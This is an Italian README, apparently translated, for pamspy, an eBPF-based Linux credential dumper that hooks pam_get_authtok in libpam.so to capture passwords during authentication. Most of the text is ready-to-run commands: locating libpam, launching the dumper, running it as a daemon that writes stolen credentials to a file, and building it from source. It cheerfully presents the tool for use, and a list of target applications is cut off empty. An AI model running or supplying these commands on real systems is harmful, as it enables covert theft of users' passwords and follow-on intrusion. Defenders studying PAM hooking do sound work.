
Dumper di credenziali per Linux basato su eBPF
pamspy sfrutta le tecnologie eBPF per ottenere un lavoro equivalente a 3snake.
Traccerà una particolare funzione in spazio utente all'interno della libreria PAM (Pluggable Authentication Modules), utilizzata da molte applicazioni critiche per gestire l'autenticazione come:

pamspy è costruito come binario statico senza dipendenze, ed è disponibile sulla pagina delle release.
Usage: pamspy [OPTION...]
pamspy
Uses eBPF to dump secrets use by PAM (Authentication) module
By hooking the pam_get_authtok function in libpam.so
USAGE: ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /var/log/trace.0
-d, --daemon=PATH TO OUTPUT CREDENTIALS
Start pamspy in daemon mode and output in the file
passed as argument
-p, --path=PATH Path to the libpam.so file
-r, --print-headers Print headers of the program
-v, --verbose Verbose mode
-?, --help Give this help list
--usage Give a short usage message
-V, --version Print program version
Mandatory or optional arguments to long options are also mandatory or optional
for any corresponding short options.
Report bugs to .
Poiché pamspy si basa su libpam, dobbiamo impostare il percorso in cui libpam è installato sulla tua distribuzione. Per trovare dove è installato libpam puoi eseguire il seguente comando:
> /usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4
/lib/x86_64-linux-gnu/libpam.so.0
Una volta ottenuto il percorso puoi avviare pamspy:
> ./pamspy -p /lib/x86_64-linux-gnu/libpam.so.0
Un modo semplice per avviare pamspy è usare il seguente comando:
> ./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4)
pamspy può anche essere avviato come demone fornendo un file di output dove verranno scritte le credenziali:
./pamspy -p $(/usr/sbin/ldconfig -p | grep libpam.so | cut -d ' ' -f4) -d /tmp/credentials
Per compilare il binario statico, abbiamo bisogno di programmi di terze parti. Per eBPF abbiamo bisogno di clang per compilare il codice C in codice eBPF CO-RE. Facciamo anche affidamento su bpftool per creare uno scheletro dal programma eBPF da includere nel nostro programma in spazio utente. Inoltre abbiamo bisogno di libelf per trovare il simbolo corretto in libpam.
sudo apt install make clang-11 gcc libelf-dev bpftool
Poi basta compilare!
git clone https://github.com/citronneur/pamspy --recursive
cd pamspy/src
make
pamspy caricherà un programma eBPF di sonda di ritorno in spazio utente per agganciare la funzione pam_get_authtok da libpam.so. PAM sta per "Pluggable Authentication Modules" e ha un design flessibile per gestire diversi tipi di autenticazione su Linux.
Ogni volta che un processo di autenticazione tenta di verificare un nuovo utente, chiamerà pam_get_authtok, e saremo qui per scaricare il contenuto dei segreti critici!
Facile! Divertiti!
Grazie a @blendin per lo strumento 3snake!!!